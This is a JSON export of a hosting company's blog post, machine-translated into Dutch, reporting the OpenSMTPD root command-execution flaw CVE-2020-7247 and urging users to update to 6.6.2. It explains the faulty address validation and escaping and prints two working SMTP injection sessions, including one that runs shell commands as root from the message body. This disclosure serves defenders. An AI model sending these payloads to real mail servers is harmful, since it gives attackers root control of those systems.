{"id":55807,"date":"2020-01-29T00:00:00","date_gmt":"2020-01-28T21:00:00","guid":{"rendered":"https:\/\/prohoster.info\/blog\/blog_prohoster\/uyazvimost-v-opensmtpd-pozvolyayushhaya-udalyonno-vypolnit-kod-s-pravami-root"},"modified":"2020-02-18T14:03:57","modified_gmt":"2020-02-18T11:03:57","slug":"uyazvimost-v-opensmtpd-pozvolyayushhaya-udalyonno-vypolnit-kod-s-pravami-root","status":"publish","type":"post","link":"https:\/\/prohoster.info\/nl\/blog\/news\/uyazvimost-v-opensmtpd-pozvolyayushhaya-udalyonno-vypolnit-kod-s-pravami-root","title":{"rendered":"Een kwetsbaarheid in OpenSMTPD, waarmee op afstand code met rootrechten kan worden uitgevoerd","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

In het ontwikkelende OpenBSD project e-mailserver OpenSMTPD<\/a><\/noindex> gedetecteerd kritieke kwetsbaarheid<\/a><\/noindex> (CVE-2020-7247), waarmee shell-opdrachten op de server op afstand met root-gebruikersrechten kunnen worden uitgevoerd. De kwetsbaarheid werd ontdekt tijdens een heraudit, uitgevoerd door Qualys Security (de vorige audit van OpenSMTPD werd uitgevoerd<\/a><\/noindex> in 2015, en de nieuwe kwetsbaarheid is aanwezig sinds mei 2018). Het probleem opgelost<\/a><\/noindex> zit in de versie OpenSMTPD 6.6.2. Alle gebruikers wordt dringend aangeraden om de update onmiddellijk te installeren (voor OpenBSD kan de patch worden ge\u00efnstalleerd via syspatch).<\/p>\n

Twee aanvalsvormen zijn voorgesteld. De eerste vorm werkt in de standaardconfiguratie van OpenSMTPD (aanvragen uitsluitend van localhost) en stelt een aanvaller in staat om het probleem lokaal uit te buiten, wanneer deze toegang heeft tot de lokale netwerkinterface (loopback) op de server (bijvoorbeeld op hosting systemen). De tweede vorm doet zich voor wanneer OpenSMTPD is ingesteld om externe netwerkverzoeken te ontvangen (een e-mailserver die externe e-mail accepteert). Onderzoekers hebben een proof-of-concept exploit ontwikkeld, die succesvol werkt met zowel de OpenSMTPD variant van OpenBSD 6.6 als met de draagbare versie voor andere besturingssystemen (uitgevoerd in Debian Testing).<\/p>\n

Het probleem wordt veroorzaakt door een fout in de functie smtp_mailaddr(), die wordt aangeroepen om de geldigheid van de waarden in de velden «MAIL FROM» en «RCPT TO» te controleren, die de afzender \/ ontvanger defini\u00ebren en tijdens de verbinding met de mailserver worden doorgegeven. Voor de verificatie van het deel van het e-mailadres v\u00f3\u00f3r het «@»-symbool wordt de functie valid_localpart() in smtp_mailaddr() aangeroepen.
\nDeze functie beschouwt de toegestane (MAILADDR_ALLOWED) symbolen «!#$%&’*\\\/?^`{|}~+-=_», in overeenstemming met de vereisten van RFC 5322. <\/p>\n

De directe escape van de tekenreeks wordt uitgevoerd in de functie mda_expand_token(), die alleen de symbolen «!#$%&’*?`{|}~» (MAILADDR_ESCAPE) vervangt. Vervolgens wordt de in mda_expand_token() voorbereide tekenreeks gebruikt bij de aanroep van de bezorgagent (MDA) met behulp van de opdracht ‘execle(«\\\/bin\\\/sh», «\\\/bin\\\/sh», «-c», mda_command,…’. In het geval van het plaatsen van de e-mail in mbox wordt de string «\\\/usr\\\/libexec\\\/mail.local -f %%{mbox.from} %%{user.username}» uitgevoerd, waarbij de waarde «%{mbox.from}» geescaped gegevens uit de parameter «MAIL FROM» bevat.<\/p>\n

De essentie van de kwetsbaarheid is dat smtp_mailaddr() een logische fout bevat, waardoor bij de overdracht van een leeg domein in een e-mail de functie een succesvolle verificatiecode teruggeeft, zelfs als het deel van het adres v\u00f3\u00f3r het «@»-symbool ongeldige symbolen bevat. Verder worden tijdens het voorbereiden van de string door de functie mda_expand_token() niet alle mogelijke speciale shell-symbolen geescaped, maar alleen de symbolen die in het e-mailadres zijn toegestaan. Hierdoor is het voldoende om in het lokale deel van het e-mailadres het symbool «;» en een spatie te gebruiken, die niet in de set MAILADDR_ESCAPE zitten en niet geescaped worden. Bijvoorbeeld:<\/p>\n

$ nc 127.0.0.1 25<\/p>\n

HELO professor.falken
\n MAIL FROM:<;sleep 66;>
\n RCPT TO:<root>
\n DATA
\n .
\n QUIT<\/p>\n

Na deze sessie zal OpenSMTPD bij bezorging naar mbox een opdracht via de shell uitvoeren. <\/p>\n

\/usr\/libexec\/mail.local -f ;sleep 66; root<\/p>\n

De aanvalsmogelijkheden worden echter beperkt doordat het lokale deel van het adres niet langer dan 64 tekens kan zijn, en de speciale symbolen ‘$’ en ‘|’ worden vervangen door «:» tijdens het escapen. Om deze beperking te omzeilen, wordt het feit gebruikt dat de inhoud van de e-mail na het starten van \/usr\/libexec\/mail.local via de invoerstroom wordt doorgegeven, d.w.z. door manipulaties met het adres kan alleen de command interpreter sh worden gestart en kan de inhoud van de e-mail als instructies worden gebruikt. Aangezien de bedrijfs SMTP-headers aan het begin van de e-mail worden vermeld, wordt voorgesteld de opdracht read in een lus te gebruiken om deze over te slaan. De werkende exploit ziet er ongeveer als volgt uit:<\/p>\n

$ nc 192.168.56.143 25<\/p>\n

HELO professor.falken
\n MAIL FROM:<;for i in 0 1 2 3 4 5 6 7 8 9 a b c d;do read r;done;sh;exit 0;>
\n RCPT TO:<root@example.org>
\n DATA
\n #0
\n #1
\n \u2026
\n #d
\n for i in W O P R; do
\n echo -n «($i) » && id || break
\n done > \\\/root\\\/x.»`id -u`».»$$»
\n .
\n QUIT<\/p>\n

<\/a><\/noindex><\/p>\n

Bron: opennet.ru<\/a><\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

\u0412 \u0440\u0430\u0437\u0432\u0438\u0432\u0430\u0435\u043c\u043e\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u043c OpenBSD \u043f\u043e\u0447\u0442\u043e\u0432\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 OpenSMTPD \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2020-7247), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c shell-\u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f root. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0432 \u0445\u043e\u0434\u0435 \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0433\u043e \u0430\u0443\u0434\u0438\u0442\u0430, \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043d\u043d\u043e\u0433\u043e \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0435\u0439 Qualys Security (\u043f\u0440\u043e\u0448\u043b\u044b\u0439 \u0430\u0443\u0434\u0438\u0442 OpenSMTPD \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u043b\u0441\u044f \u0432 2015 \u0433\u043e\u0434\u0443, \u0430 \u043d\u043e\u0432\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0441 \u043c\u0430\u044f 2018 \u0433\u043e\u0434\u0430). \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0432 \u0432\u044b\u043f\u0443\u0441\u043a\u0435 OpenSMTPD 6.6.2. \u0412\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f […]<\/p>\n","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[702],"tags":[],"class_list":["post-55807","post","type-post","status-publish","format-standard","hentry","category-news"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\n","aioseo_head_json":{"title":"\ud83e\udd47Kwetsbaarheid in OpenSMTPD, waarmee op afstand code met root-rechten kan worden uitgevoerd | ProHoster","description":"In het ontwikkelingsproject van de OpenBSD-mailserver OpenSMTPD is een kwetsbaarheid ontdekt.","canonical_url":"https:\/\/prohoster.info\/nl\/blog\/news\/uyazvimost-v-opensmtpd-pozvolyayushhaya-udalyonno-vypolnit-kod-s-pravami-root","robots":"max-image-preview:large","keywords":"","webmasterTools":{"miscellaneous":""},"schema":null,"og:locale":"nl_NL","og:site_name":"ProHoster | \u041a\u0443\u043f\u0438\u0442\u044c \u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0439 \u0445\u043e\u0441\u0442\u0438\u043d\u0433 \u0434\u043b\u044f \u0441\u0430\u0439\u0442\u043e\u0432 \u0441 \u0437\u0430\u0449\u0438\u0442\u043e\u0439 \u043e\u0442 DDoS, VPS VDS \u0441\u0435\u0440\u0432\u0435\u0440\u044b","og:type":"article","og:title":"\ud83e\udd47\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 OpenSMTPD, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 root | ProHoster","og:description":"\u0412 \u0440\u0430\u0437\u0432\u0438\u0432\u0430\u0435\u043c\u043e\u043c \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u043c OpenBSD \u043f\u043e\u0447\u0442\u043e\u0432\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 OpenSMTPD \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430","og:url":"https:\/\/prohoster.info\/nl\/blog\/news\/uyazvimost-v-opensmtpd-pozvolyayushhaya-udalyonno-vypolnit-kod-s-pravami-root","og:image":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:secure_url":"https:\/\/prohoster.info\/wp-content\/uploads\/2021\/11\/logo-350.jpg","og:image:width":350,"og:image:height":350,"article:published_time":"2020-01-28T21:00:00+00:00","article:modified_time":"2020-02-18T11:03:57+00:00","article:publisher":"https:\/\/www.facebook.com\/prohoster","article:author":"https:\/\/www.facebook.com\/prohoster"},"aioseo_meta_data":{"post_id":"55807","title":null,"description":null,"keywords":null,"keyphrases":null,"primary_term":null,"canonical_url":null,"og_title":null,"og_description":null,"og_object_type":"default","og_image_type":"default","og_image_url":null,"og_image_width":null,"og_image_height":null,"og_image_custom_url":null,"og_image_custom_fields":null,"og_video":null,"og_custom_url":null,"og_article_section":null,"og_article_tags":null,"twitter_use_og":false,"twitter_card":"default","twitter_image_type":"default","twitter_image_url":null,"twitter_image_custom_url":null,"twitter_image_custom_fields":null,"twitter_title":null,"twitter_description":null,"schema":{"blockGraphs":[],"customGraphs":[],"default":{"data":{"Article":[],"Course":[],"Dataset":[],"FAQPage":[],"Movie":[],"Person":[],"Product":[],"ProductReview":[],"Car":[],"Recipe":[],"Service":[],"SoftwareApplication":[],"WebPage":[]},"graphName":"","isEnabled":true},"graphs":[]},"schema_type":null,"schema_type_options":null,"pillar_content":false,"robots_default":true,"robots_noindex":false,"robots_noarchive":false,"robots_nosnippet":false,"robots_nofollow":false,"robots_noimageindex":false,"robots_noodp":false,"robots_notranslate":false,"robots_max_snippet":null,"robots_max_videopreview":null,"robots_max_imagepreview":"large","priority":null,"frequency":null,"local_seo":null,"seo_analyzer_scan_date":null,"breadcrumb_settings":null,"limit_modified_date":false,"reviewed_by":null,"ai":null,"created":"2021-02-28 19:36:30","updated":"2022-10-09 15:09:19","focus_keyword":null,"additional_keywords":null,"truseo_locale":null},"gt_translate_keys":[{"key":"link","format":"url"}],"_links":{"self":[{"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/posts\/55807","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/comments?post=55807"}],"version-history":[{"count":0,"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/posts\/55807\/revisions"}],"wp:attachment":[{"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/media?parent=55807"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/categories?post=55807"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/prohoster.info\/nl\/wp-json\/wp\/v2\/tags?post=55807"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}